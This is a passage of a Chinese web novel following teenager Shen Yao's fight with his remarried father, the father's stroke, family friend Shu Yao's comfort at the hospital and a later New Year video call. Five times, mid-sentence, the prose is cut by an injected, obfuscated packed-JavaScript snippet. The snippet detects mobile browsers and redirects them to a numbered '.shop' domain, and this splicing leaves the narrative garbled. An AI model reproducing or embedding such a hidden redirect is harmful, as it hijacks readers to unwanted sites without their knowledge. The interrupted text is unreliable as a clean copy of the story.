而不是如现在这样,只剩自己一个人,孤孤单单地住在这个冷冰冰的、一梯一户的高级公寓的大平层里。 沈曜不需要那些名牌衣服、球鞋,他只想要父母每天都快乐的和自己生活在一起。哪怕吃青菜豆腐,他也甘之如饴。 沈志鹏不明白,对于自己这个儿子来说,他的再婚就意味着否定她已故母亲曾经的存在,否定了他们曾经的那个三口之家,也打碎了他童年的美好回忆。 沈曜怒火中烧的眼眸中浮起泪光,他喉咙滚烫,炙烤着他剩余不多的理智。 沈志鹏被他狠狠一通呛,心里也是愧疚不已。那时候他年轻只顾埋头拼搏,却忽视了去平衡家庭和亲情。对他们母子,尤其是亡妻,他心底终归是亏欠的。他现在一句话也说不上来,只是眉头紧紧拧着,不停地揉着太阳穴。他感觉自己的头一跳一跳地疼。 沈曜此时怒不可揭,愤恨不已:“对你来说,妈妈走了,你可以再娶个老婆,我干涉不了你。可是对我来说,我只有这一个妈!永远都只有她!哪个女人也代替不了她!” 沈曜的声音哽咽越来越明显,胸口剧烈地起伏。他抬起手臂用力地抹了一把眼睛,才堪堪压住想要砸毁一切的怒气和怨恨,质问道:“自从你和那女人在一起后,一个月有几天你回家来住的?你只知道你的小女儿快一岁了,你还记得你有我这个儿子吗?!我去年生日,你都没记得和我说一句‘生日快乐’,甚至连个消息都没发过来!” 沈志鹏被戳到痛点,自知理亏。那段时间他的律所出了点问题,一个合伙人要撤资,再加上徐洛刚生下女儿不久。工作和母女俩分去了他所有的心思。沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13258923|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曜这边他就没顾得上。 最近他确实没怎么回这个家来探望过沈曜。 又是心疼又是歉疚儿子的感觉将沈志鹏的心搅得生疼,说话的气息便弱了几分,好言劝着儿子: “我知道我最近关心你关心的不够,是爸爸不对。可是你毕竟是哥哥,自己生活已经不成问题。但你洛姨刚刚生完孩子不久,身体还虚,你妹妹也还小,需要人照顾。你都这么大了,怎么还和她们母女俩吃上醋了?” 这句话彻底激怒了沈曜,他一脚狠狠踹翻了身边的另一把凳子,像头小狮子一般咆哮:“你只要有他们母女就够了!我算个什么东西?你不想要我,觉得我是累赘你就直说!我也不想要你这个爸!!” 沈志鹏好言劝了半天,错也认了,却得来儿子更叛逆的暴怒。他气得浑身哆嗦,连声音都抖了,“不可理喻、你简直不可理喻!”任他平时口才再好,一旦失去理智,竟也感觉自己的说辞苍白无力。 这大概就是事情落到自己头上,方知无力的感觉吧…… 舒瑶还僵在走廊上,有点不知该进还是该退。 虽然以前她知道沈曜为了父亲再婚的事一直在和他闹脾气,但是直面他俩的冲突现场,她还是第一次。 想想刚才听到的那些椅子倒地的砰砰声音,还有沈曜的怒吼,舒瑶下意识地抖了抖。看来沈曜真是对自己不错,自己屡次触及他的逆鳞,也就换来他不爽的白眼和一两句带刺的话而已。 舒瑶犹豫起来。 这种情况……她好像不该来? 要么……还是先回去?等后天再来? 但是没人劝劝这父子俩,真的没问题吗?她感觉眼前这个局面有点失控啊…… 还没等她纠结多久,屋里陡然传来沈曜惊慌失措的唤声。 “爸、爸、你怎么了?!” 舒瑶听到一声重物倒地的响动,那声响听上去闷闷的,不像是椅子或桌子倒下会发出来的。 情况不对劲!!! 17.依赖(三) 再也顾不得其他,舒瑶一把推开门冲了进去,看见沈志鹏躺倒在地不省人事。 沈曜跪坐在地上,不知所措地捧着他的头,脸色苍白。 “沈曜,叔叔晕过去了?”舒瑶放缓呼吸,尽量让自己的声音听上去平稳。 沈曜现在因为父亲猝然昏倒而乱了方寸,她必须引导他先冷静下来,于是安慰他道:“你先别急,我打电话叫救护车。” 沈曜浑身开始止不住地颤抖,听到舒瑶的安抚和提醒,理智似乎回笼了一点点,磕磕巴巴地问:“我爸、我爸怎么突然晕倒了?他、他、他平时身体很好的。” “你先冷静。你爸爸还需要你照顾。”舒瑶快速放下鲜花和礼物,左手拍了拍他的肩膀示意他镇定,右手拿出手机拨打120。 直到打完急救电话,沈曜才勉强地止住颤抖。他战战兢兢地望着舒瑶,眼神里还有藏不住的无措和慌乱。 这时的少年与平时那桀骜叛逆的样子判若两人。舒瑶觉得他此刻的恐慌似乎有些异常,但她眼下没时间多想。 这种事舒瑶也是第一次经历,可是面对一个满眼对她流露着依赖的少年,她告诉自己必须要稳住。 舒瑶快步走到沙发旁,拿了一个薄薄的软垫递给沈曜。 暗自强压住狂跳的心脏和紧张情绪,舒瑶柔声道:“将这个垫子放到你爸脑袋下面,然后帮他把头侧过来。” 沈曜抖着双手乖乖照做。 为了分散少年的注意力,缓解他的紧张,舒瑶对他耐心地解释:“万一他吐了,这样可以防止异物堵塞喉管发生窒息。” 沈曜机械地点点头,眼神中的惊慌稍退。 无论他平日再怎么嚣张叛逆,说到底也只是一个刚满十六岁的孩子。面对至亲突发疾病昏倒,张皇失措才是他这个年纪应该有的正常反应。 但他表现出的慌张有些过头了。究竟怎么回事? 舒瑶见他六神无主,不免有些心疼,走到他身边,安慰性地碰了碰他的胳膊,“别慌。救护车马上就来。” 沈曜在她平稳柔和的声音和有条不紊的安排下,终于冷静下来了。 也许是刚才被吓得狠了,此时的少年显得反应有点迟钝,精神也恍惚。 舒瑶见他脸色缓和不少,便走到厨房去给他倒了杯温水,递给他,“喝点水吧。” 沈曜慢吞吞地捧起水杯喝了两口,见舒瑶想要起身,连忙一把拉住她的手腕,声音中夹杂着乞求,“你、你要去哪?你别走、别走,行吗?” 她手腕处传来的温度,让他觉得安心。 哪怕舒瑶呆在这里什么都不做,在心理上也能给他一些慰藉。至少他不至于独自一人面对未知的棘手情况。 “我不走。”舒瑶没推开他抓着自己的手,反而将声音放得更轻柔,“我就是去拿个扫帚,把碎玻璃扫一扫。免得等会儿影响救护人员施救。” 沈曜这才放开她,眼含焦急地盯着昏迷不醒的父亲,垂下的眼睫微微发颤,像是随时都会哭出来。 少年这种惊恐万状的表现有点反常……舒瑶一边扫地,一边想着。 她刚将地面上的碎玻璃清理干净,救护人员就赶到了。 救护车上只能允许一位亲属陪同,于是舒瑶在小区门口拦了辆出租车,跟着救护车一起赶往医院。 医院里的门诊刚停,急诊部的挂号和领药处稀稀拉拉的有一些人在排队。 舒瑶小跑着去到急诊处的挂号窗口。 脚步匆匆的护士和满脸凝重的患者家属往返于走廊和诊室,在她身边一一路过,舒瑶心里突然浮起一种时空错乱的恍惚感。 这好像是她陪沈曜第二次来医院了?第一次还是在他初二那年。 时光匆匆,眨眼之间,沈曜已经是个高一学生了,连个头儿都比那时候高了一些,肩膀更宽,身材也更趋近于成年人。 那份独属于十四岁少年的细瘦感一去不复返了。 舒瑶处理完挂号缴费等事务,望见不远处蹲在急救室外的身影,苦笑了一下,加快脚步朝他跑过去。 和这个小男生的缘分真的有些奇特,她似乎被一只看不见的手推进,过多地渗入到他的生活中去了。 少年的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268611|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高已接近180,但此时他缩在地上蹲着,显得弱小又无助,格外惹人怜爱。 舒瑶来到他面前,弯腰将一只手搭在他肩膀上,轻轻拍哄:“沈曜,别怕。” 沈曜将头埋在交叠的双臂中,仿佛沉浸在自己的世界里,隔了几秒才抬起头来。 舒瑶讶然发现,这个平时看上去桀骜不驯的少年,脸上有未干的泪痕。 为什么他看上去这么难过? 舒瑶伸出手,用食指的指背轻柔地替他抹了抹眼泪,劝道:“我们送医很及时,你爸爸一定会没事的。乖。” 沈曜的嘴唇翕动两下,直勾勾地盯着她瞧了一会儿,倏然站起来,一把抱住了她,很用力地抱住,仿佛要把她嵌进自己身体里。 舒瑶被他搂地生疼,禁不住皱了皱鼻子,却没将他推开。她知道他是刚才被吓得狠了,现在还在泛着后劲。 沈曜将头埋进她的肩窝,像是掉在水里垂死挣扎的人遇见可以救命的浮木。 有一个拿着急诊单的中年妇女经过,匆匆瞥了一眼难过的拥在一起的两人,一脸淡然,似乎对这类事情见怪不怪。 医院么,就是见证生死离别的地方。 “我好怕、好怕他和妈妈一样,突然就扔下我……”沈曜的声音闷闷地传来,“妈妈当时心脏病发作,人还在救护车上,就突然没了。” 舒瑶的心一瞬间揪紧,眼眶骤然红了。 直到听了少年哽咽地诉说过往,她才明白沈曜刚才见到父亲晕倒,那异于常人的惊恐反应究竟是因为什么。 六年前让这孩子埋下心理阴影的场景重现眼前,噩梦几乎再度重演,只不过这次由母亲换成了父亲…… 舒瑶很难想象,沈曜刚才在救护车上陪着昏迷不醒的父亲,是以什么样的心态才熬过来的。 如果换成自己,舒瑶在沈曜现在的年纪面对这种事,估计已经哭到崩溃晕厥了。 幸好,幸好这次一切都来得及。 回想起蹲在急诊室门口拼命隐忍哭泣的少年的模样,舒瑶的眼角不禁渗出泪水。 她现在好心疼他。 18.依赖(四) “没事了,没事了。别难过。都过去了。”这时候,再多的语言安慰都显苍白。 舒瑶反手回搂住他,不轻不重地拍着他的背脊,像是在抚慰沈曜心里住的那个彷徨无助的内心小孩。 沈曜凝滞地点点头,更加收紧手臂,搁在她肩窝上的下巴膈得她有点痛。 舒瑶感觉自己搂得不是一个十六岁的少年,而是一只八、九个月大的阿拉斯加雪橇犬。 她有点喘不过气了,但又不好在此刻推开他,于是只得抬手继续拍抚他的后背,委婉地说教: “以后有什么意见,你可以和你爸爸好好说。他这个年纪的男人,看着正当壮年,其实很脆弱。上有老下有小,正处于死都不敢死的时候。生活的压力、工作的压力都很大,身体也不如年轻时了,经不起大怒大悲大喜这类激烈情绪的刺激。以后你可别再这么口无遮拦了,语言有时候很伤心人的。” “我不知道……没人和我说过这些……我当时气炸了,都不知道自己在说些什么。”沈曜难过极了,他现在十分后悔和沈志鹏说了重话。 他已经知错了。早知道后果这么严重,打死他都不会再说那些戳人心窝子的话。 沈曜从来不知道,一直高大健朗的父亲,会在顷刻间倒下。那种感觉,就像是高山顷刻间崩于眼前,天地都为之变色。现在回想起来,他仍心有余悸,后怕不已。 沈曜刺刺的头发随着他点头的动作刮得舒瑶有些痒。她想挠挠脖子,可惜够不到。 率真撒娇的小男生还真是惹人怜爱,舒瑶宠溺地训他,“现在知道了也不晚。以后要好好改掉这坏毛病,控制一下你的臭脾气。” 沈曜乖乖点头,一副虚心受教的好宝宝模样,“嗯嗯。我知道了。” 大概是舒瑶的开导奏效了,也可能是她衣服上丝丝缕缕的沉水香气舒缓了沈曜仍旧不安的情绪。 他感觉自己的心也跟着平静下来,仿佛经过疾风劲雨袭击的一叶扁舟,有一种劫后余生的放空和惫懒。 沈曜闭着眼睛,将头在她肩膀上又轻轻蹭了两下,才依依不舍地松开她。 万幸的是他现在不是自己一个人,万幸的是今天她来了,还陪在自己身边。 有个尚算亲近熟悉的大人在旁边,给了他很多心理上的安全感。 “幸好今天有你在。谢、谢谢。”沈曜羞赧,低下头支支吾吾的说。他现在才觉得自己刚才的怯懦表现很丢脸,眼睛都不敢往舒瑶脸上看。 舒瑶哄孩子似的捋了捋他的后脑勺,“别客气。以后对家里人别说重话,多伤人心啊。”她再次叮嘱他。 沈曜抬眼皮瞄了瞄她,和她的视线一对上,便极快地垂下眼帘。确定她的神色温和,才又悄咪咪地掀起眼皮再偷偷瞧她。 他好像林娓娓家的那只萨摩耶,每次干了坏事就是这个鬼鬼祟祟的表情。 舒瑶见他反复如此,苦苦压着嘴角才抑制住笑意。 急诊室的门在这时打开了,门内出来一位穿白大褂、戴着蓝色医疗口罩的医生,“谁是里面那位患者的家属?” 听到医生的询问,沈曜急匆匆地转身回道:“我、我是他儿子。我爸他怎么样了?” 医生见他是个穿着高中校服的半大孩子,宽慰他:“别担心。是轻度脑梗,情况不算严重,送医很及时,住院治疗观察几天,出院以后多注意休息,别再受刺激就行。” 沈曜心里的大石头落下来,总算松了口气,“好、好的。谢谢医生。” 医生看了眼站在他身后的舒瑶,问道:“这是……你姐姐?” 沈曜回头扫了她一眼,犹豫起来。他潜意识里并不想叫她姐姐。 舒瑶估计医生是想找个已成年的家属去签字办住院手续,便回道:“不是,我是他朋友。我们马上联络其他亲属。” “好。那就尽快通知吧。”医生嘱咐完,又进了急诊室。 舒瑶对沈曜说:“你赶紧联系你爷爷奶奶或其他亲戚,叫他们来一下医院。你还未成年,签字还得他们来签,更妥当。” 沈曜的眼眸黯淡了几秒,之后他极快振作起来,拿出手机给他姑姑打了电话。想了想,又去急诊室里取了沈志鹏的手机,给他的再婚妻子徐洛拨电话。 爷爷奶奶年纪大了,听到爸爸住院说不定会急出个好歹来。还是先通知姑姑吧。徐洛离医院最近,通知她过来签字,应该是最快的。恢复正常状态的沈曜,头脑异常清晰,处理起事情毫不拖泥带水。 尽管他一直对父亲的新妻子表现的极端抗拒,可是轮到这种生老病死的大事,他就会克制住自己的任性,采取最快速有效的办法去执行。 “喂。我爸生病住院了,现在已经没有大碍。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278583|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们过来帮他签个字办住院手续吧……” 舒瑶见他此时心神已定,和亲戚们三言两语就把事情说得清楚明白,心里感到欣慰的同时,又有点唏嘘。 这小男生一旦冷静下来,就展示出与同龄少年不同的成熟感。 舒瑶当然明白,他这种超越年龄的成熟感是以痛失母亲和成长中的情感缺失为代价换来的。他是被这些特殊的经历逼迫着长大的,并非自愿。 舒瑶垂眸默默叹了口气,瞥见医院走廊尽头的时钟,发现已经快傍晚六点半了。便问少年:“你肚子饿不饿?我去便利店给你买点吃的好不好?” 沈曜垂下眼帘凝视她。 看见她脸上关切的神情和此时柔和专注的眼神,他心里忽然涌起一股晦昧的情绪。 他才发觉,他是如此贪恋她的温柔,还有一些别的什么……他一时半会儿的分辨不清。 其实舒瑶一方面是担心沈曜肚子饿,另一方面是想暂时离开这里。 刚才她就在心里估算着时间,最快赶来的应该是住得最近的徐洛。这是沈曜的家务事,她一个外人在场不合适,于是便找了个借口想离开。 “不饿。”沈曜摇摇头,依然有些消沉。他也知道,这位他一直抗拒的继母,他迟早得会一会。 历经两年的心理建设,他已经没那么反感和排斥她的存在。也或者是沈志鹏这两年以来坚定的行为,逼迫他一点一点地认知到,有些事情不是他想怎么样就能怎么样了。 只是他觉得他还需要时间缓冲,他心里对于父亲不顾自己反对和别人重组家庭的那股怨气还没散尽。 就在这种矛盾的对抗情绪里,沈志鹏硬是逼着他去出席小女儿的满月酒,才会激发他多日积攒的不满,使得父子俩再次爆发激烈的冲突。 然而再多的难受和抗拒,也比不过父亲的健康。 这次父亲的病倒,成了他逼不得已去面对这位继母的催化剂。 “徐洛应该快来了吧,我这个外人在这儿……不太合适……”舒瑶的声音掺着几分为难,她干脆向他坦白心思。 话还没说完,拐角处就出现了越来越近的脚步声。沈曜不自觉地握起拳头,克制心里那股难以压抑的抵触情绪。 舒瑶转身想走开,却被沈曜一把紧紧攥住右手。 “你不是外人。”沈曜低喃。 19.依赖(五) “你不是外人。”沈曜低喃,目光幽幽地盯着走廊窗外的暗沉,似乎有些不好意思。 舒瑶愣在原地,微微睁大眼睛,看向他。 沈曜移回凝在窗户上的视线,垂着脑袋瞧着脚下的地面,像是考虑这句话该怎么解释。但停了一会儿,他依然重复了一次同样的话语,“你不是外人。” 他倒了口气缓解心中的紧张,却坚定地说:“你对我来说,是、是我……很亲近的人。”从他的声音里,舒瑶听出了一丝腼腆的味道。 说完,沈曜将原本拉着舒瑶手腕的手滑到了她的手上,牵住她的手,感受她传递给他的温暖和力量,也用行动承认了自己对她的依赖。 舒瑶知道少年没什么特殊的想法,只是他此时太过孤单无助,想找个人依靠而已。 即将要面对他很不想见到的那个女人,思想上的排斥让他感觉万分痛苦。 于是舒瑶也捏了捏他的手,示意自己不会离开,耐心等他继续把话说完。 “在这儿陪陪我吧,我不想……”话说到一半,沈曜的眼睛依旧盯着地面,紧抿嘴唇,隔了几秒才难以启齿地说:“我不想……独自面对她。” 舒瑶怔了片刻,发现他手心正在冒冷汗。 通过彼此牵着的手,她仿佛能感觉到他心里的疼痛。他害怕自己母亲在父亲的心里被取代,那就像是要抹杀母亲曾经过往的一切一般。 于他而言,这种感受无异于诛心。 自己好歹是陪他走过了将近两年的人,是亦师亦友的存在,的确不算是外人了。 至少比起徐洛,舒瑶认为自己和沈曜要亲近的多。 忽的,憋闷了几乎一整日的天空中划过一道紫色闪电。 雷声随之在头顶上空炸开,隆隆几声过后,零星的雨滴终于姗姗而下。点点滴滴的在透明玻璃窗上留下一道道痕迹,像是不情不愿沾染上了谁的泪痕。 舒瑶感觉这雨滴就像是少年心里的泪,历经电闪雷鸣地鞭打后,堕落到凡尘间。 拐角处的脚步声越发靠近。舒瑶握紧男孩的手,与他对视了一眼,无声的给他传递勇气。 一个身着咖色薄款羽绒服的女人从拐角处疾步走来。她身形瘦长,姣好的面容上有微微的倦意,眼中的急切在看见两人时愈加分明。 不用介绍都知道,这人就是沈志鹏的再婚妻子——徐洛。 她第一眼就认出了沈曜,步履匆忙地径直走到他面前,开口便问:“你爸爸怎么样了?到底是什么病,发作地这么急?” 舒瑶敏锐地察觉到,女人在用词方面非常谨慎。她对沈曜称沈志鹏为“你爸爸”,而不是“我老公”,这可以大大降低沈曜对她的反感情绪。 “脑梗。”沈曜放在身侧的另一只手紧握成拳,在听到她关切又自然的语言和称呼后,默默又松开了。“医生说已经没事了。要住院观察几天,出院以后多注意保暖和休息,别受刺激。” “唉。怪我没注意到。”徐洛露出难过的神情,自责道:“最近他出差很累,回来又忙着照顾多多。有两次他说头晕,我只当他是睡眠不足,没想到是发病的前兆。” 沈曜知道刺激沈志鹏脑梗发作的是自己,暗自心虚着,偏过头错开她的目光,“你要么……进去看看他吧。医生刚才出来过,现在能允许家属进去了。我回家给他拿点生活用品过来。” “行。你快去吧。路上注意安全。”徐洛也不跟沈曜见外,像是个熟人一样叮嘱他。视线却移到了舒瑶身上,她在看见两人时就发现沈曜一直牵着舒瑶的手,直到与自己说话之前他才松开舒瑶。 徐洛感觉到沈曜对舒瑶的亲近和依赖,但是观察两人的年纪和神态,又不像是情侣,反而更像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13290422|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐弟。 徐洛静静地打量了她几秒。 冬季衣服穿得多,不用勤换外套。舒瑶这次来川城三天,主要目的是去参加学姐的婚礼。 因此除了内衣以外,没带其他多余替换的衣物。她上身穿着黑呢西装外套,内搭欧洲复古风格的宝蓝色灯芯绒收腰过膝连衣裙,脚上穿着一双极简风的中筒黑皮靴。 端庄大气又不失婉约的穿搭风格,像是刚下班的白领,又像是要去出席某种正规饭局的着装。 徐洛看不透舒瑶的身份,但她能很轻易的从舒瑶的穿着打扮和气质判断出她是个已经踏入社会的职业女性。 难道她是沈曜的表姐? 徐洛对沈曜生母的那一方亲戚不甚了解,她猜测眼前的年轻女生就算不是沈曜的亲戚,至少也是姐姐一般的亲近存在。 徐洛不多打听和过问,只是对舒瑶礼貌性地颔首,算是简单打了个招呼,又将自己手中的雨伞递给舒瑶,嘱咐道:“外面下雨了。我来得匆忙,没带多的伞。你们先拿去用吧。” 没将雨伞递给沈曜,是因为徐洛知道他不会接,所以才直接将伞给了自己。真是个玲珑剔透的女人。舒瑶心想。 看了眼情绪仍然低落的沈曜,舒瑶态度客气地接过那把伞,对徐洛微笑道:“谢谢。我先陪他回去拿东西。麻烦您在这儿先照顾着。”舒瑶替沈曜说道。 “好。你们路上小心。”说完,徐洛转身进了急诊室。 舒瑶挑了挑眉毛,心道这位继母十分聪敏灵慧,不矫揉造作,并且极懂分寸。沈志鹏的眼光不错。 至于沈曜对徐洛存在的心理障碍…… 舒瑶一直相信一句话:时间是最好的良药。 也许再过一段时间,沈曜也懂事成熟一些,有了自己的感情和生活,再面对他父亲的重组家庭,应该会好一些吧。 20.笑意(一) 在徐洛和沈曜的悉心照料下,沈志鹏没过多久就恢复健康了。 当沈曜给舒瑶发消息报平安之后,舒瑶终于替这对关系剑拔弩张的父子松了口气。 到了年底,舒瑶的公司连班接了两场大型的策划活动案。 钱是赚足了,忙也是忙透了。 舒瑶一直忙到除夕前的最后一天,才将自己的绩效评估勉强赶工出来交给直属领导和人力资源部。 因为加班透支,导致她在春节的头两天里,一直都赖在家里的床上不想动弹。 舒瑶的父母年纪大了,研究所体恤他们这类知识和经验丰富的老科学家们,因此到了四十五岁往上,分配给他们出差的工作也逐渐减少,多半都是一些编辑专业书籍的文职类工作,再附带着指导一下新人。 所以这几年的春节,舒瑶一家人都能团聚在一起,在海城好好地过大年。 舒瑶的父母是闲不住的性子。 舒爸爸大清早就出门钓鱼去了,舒妈妈在家做草头塌饼。 年轻时工作忙,她总是没法陪伴女儿。现在只要得了空闲,她就会想方设法给舒瑶做她爱吃的传统点心。 舒妈妈将食材统统备好,做出来第一盘塌饼准备给舒瑶当早饭吃。她看了眼时钟,发现已经快十点了,舒瑶还在赖床。 于是敲了敲女儿的房门,唤道:“瑶瑶,该起来了。十点了哦。我做了你最喜欢的草头塌饼,你再不起来就要凉了。” 舒瑶在床上舒服地翻了个身,整个人像个蚕宝宝一样裹在被子里,懒洋洋地说:“再睡会儿嘛~妈,你不知道吗?现在我们这些年轻人,都是‘上班机器人、在家植物人’的属性哦。” 舒瑶的困意还没全消,说了两句就打算闭眼再去见周公。 舒妈妈被她新颖的话给逗乐了,笑着摇摇头,转身去厨房继续做下一批塌饼。 她隐隐约约听见家里的大门开了,舒爸爸的笑声隔了个客厅都能听清。 “哎呀。娓娓快进屋。瑶瑶肯定在赖床,你快去把她拖起来。” 舒瑶快要阖上的眼睛顿时睁开。林娓娓这个话痨来了,老爸也回来了,家里肯定要热闹起来,她今天的懒觉算是到头了。 舒瑶掀开被子,穿着厚厚的加绒小熊棉睡衣下了床,走出房间,拖着懒洋洋的语调说:“娓娓来了啊。今天算你运气好,我妈做了草头塌饼,便宜了你。” 林娓娓是舒瑶从小到大的闺蜜,也是她家的老常客,一点儿也不和他们客气,洗完手直接拿了个保鲜袋,捏起一个红枣馅儿的塌饼就往嘴里塞: “唔!超好吃~好幸福。你有本事再晚点起来呀。这些塌饼都归我了!” “馋猫。”舒瑶佯装生气地瞥了她一眼,去卫生间洗漱去了。 等她出来,红枣馅儿的塌饼少了一个、肉馅儿的也少了一个。果然如林娓娓所言,她再赖一会儿床,这些塌饼都得进林娓娓的肚子。 “啊!你给我留点儿!”舒瑶急了,冲过去捏她肉嘟嘟的脸,稍微用力地往两边扯,“吃这么多,当心不消化。这是糯米做的呢,你可悠着点。” “啊啊啊……你这个心狠手辣的女人!”林娓娓被她捏疼了,放下塌饼去搔她的腰。两个人瞬间笑闹成一团。 舒妈妈在一旁直笑,“行了行了。你都把娓娓的脸捏肿了。还有好多呢,我等会儿就煎。娓娓,你今天走的时候带一些回去,给你爸妈也尝尝。” “好嘞!阿姨我可不和你客气啊~”林娓娓拍了两下舒瑶的手,等她松开,撩起她的一撮头发研究起来,“瑶瑶啊。你这头发又长了呀~发质还这么好,真羡慕。” 舒瑶坐下来,拿起筷子去夹盘子里剩下的塌饼,一口咬下去,满嘴的软糯鲜香,不禁满足地直哈气,“是长长了,等过了龙抬头就去修剪一下,弄短点。长头发洗起来太麻烦了。” 就在舒瑶吃第二个饼时,她的手机提示有一条新微信。 林娓娓坐她旁边,眼睛一斜,瞄到屏幕上方的微信显示。“咦?又是那个叫沈曜的小孩给你发消息呀?” 舒瑶忙着吃饼,红润的嘴唇上挂了一些油,亮晶晶的,像是涂了唇彩。“是啊。估计给我拜年吧。”她用空着的另一只手将手机屏保划开解了锁。 林娓娓一直知道舒瑶有个相熟的老客户。她帮过那家几次,后来和那学生还成了朋友,也知道他们一直都有保持联系。 [曜:拜年了。能视频吗?] 林娓娓与舒瑶胳膊挨胳膊坐着,也瞧见了那条微信,“哇~这小孩最近总联系你啊。还挺粘你嘛?” 舒瑶没在意,只随口说了句“缘分吧。他家的情况有些特殊,我就关照的多一些。关系自然就更亲近一些。” 她手指在手机上快速点动,回了沈曜的微信。 [你瑶姐姐:好啊。] 消息才发出去不到一秒,那边就拨了视频申请过来。 林娓娓挺好奇这个“只闻其名不见其人”的小男生长啥样,将脑袋凑过去,瞪大眼睛盯着屏幕瞧。 舒瑶按一下绿色的接通键,视频那头儿很快就出现了影像。 应该是放假的关系,男生原先的头发也长长了一些,梳着偏分短发,额前有几缕零碎的刘海搭下来,清爽又俊俏。 此时的他拿着手机斜靠在房间的飘窗上,阳光从窗外漫洒进来,将他的皮肤映得极白净。 林娓娓惊讶的“呀”了一声,压低声音,对舒瑶感叹道:“我去!竟然这么帅的么?!!长得齁~~~俊美啊!脸那么窄!鼻子那么挺!眉眼那么深邃!嘴唇还那么红润!” 舒瑶给了林娓娓一个十足的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306306|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大白眼,用嘴型对她说:“你有点儿出息。那边的帅哥不都是这种款么?” 林娓娓一边惊叹一边不服气地小声嘀咕:“是这个款没错,但是没见哪个长得这么精致啊!这种级别的,帅得方圆十里都没对手吧!这分明是建模脸啊!!!” 舒瑶愣了几秒,想起少年以前和自己提的,便轻轻回道:“好像是。听他以前吹牛逼的说过,说附近几所中学的男生加起来,没一个比他帅的。也不知道是真是假。” 林娓娓的脸都快贴到手机屏幕上了,很有一种要舔屏的架势。“这还有假?!连我这个要求超高的颜狗看了都血压飙升了!” “哎呀你别打岔,吃你的饼子去!他再帅也是个孩子。你克制点。”舒瑶嫌弃地赶她离自己远点,又转头对沈曜抱歉地说:“我闺蜜林娓娓,来我家蹭吃蹭喝的。她是个颜控,没吓着你吧?” “不会。”沈曜爽朗地笑了两声,还和林娓娓招手打招呼,“闺蜜姐姐你好。” “哦哟哟哟~~~!弟弟好。”林娓娓激动地叼着饼子,差点克制不住自己再次扑到镜头前,“弟弟好帅啊啊啊啊!!!” 视频里的少年被她直白的夸赞逗得哈哈哈地笑起来,琥珀色的大眼睛都眯成一条缝了。 少年的眼裂很长,睫毛纤密,被太阳一照,在眼睑下方遮出一片小扇子似的阴影,随着他开怀的笑容轻颤,不经意间漏出的睛芒晶莹闪耀,竟不比阳光逊色。 林娓娓看得心都要化了,心里直呼救命。 “一边儿去。饼子都堵不住你的嘴。”舒瑶赶苍蝇似的对她挥了一下手,再次转头对少年玩笑说:“你别理她。她平时也这样一惊一乍的。” 林娓娓盯着手机屏幕看了一会儿,实在扛不住美颜暴击,捂着胸口去阳台透气去了。 舒瑶将手机支架翻出来立好,把手机固定在上面,才对着屏幕里的男生摆了摆手,“哈罗~小朋友~新年快乐呀。” “有点反光,你等我换个地方。” 大概是阳光刺目的原因,男生眯着眼睛拿起手机站起来,换到书桌旁坐下。他上身穿着天蓝色的卫衣、下身穿着白色的棉制长裤,镜头晃过那几秒,显得他整个人瘦削又高挑。灿烂的阳光给他渡了一层暖融融的金边,仿佛开了滤镜一般。 没人在一旁打趣开玩笑,他脸上的笑意便收敛许多,专注调整镜头的神色隐去了他的青稚。 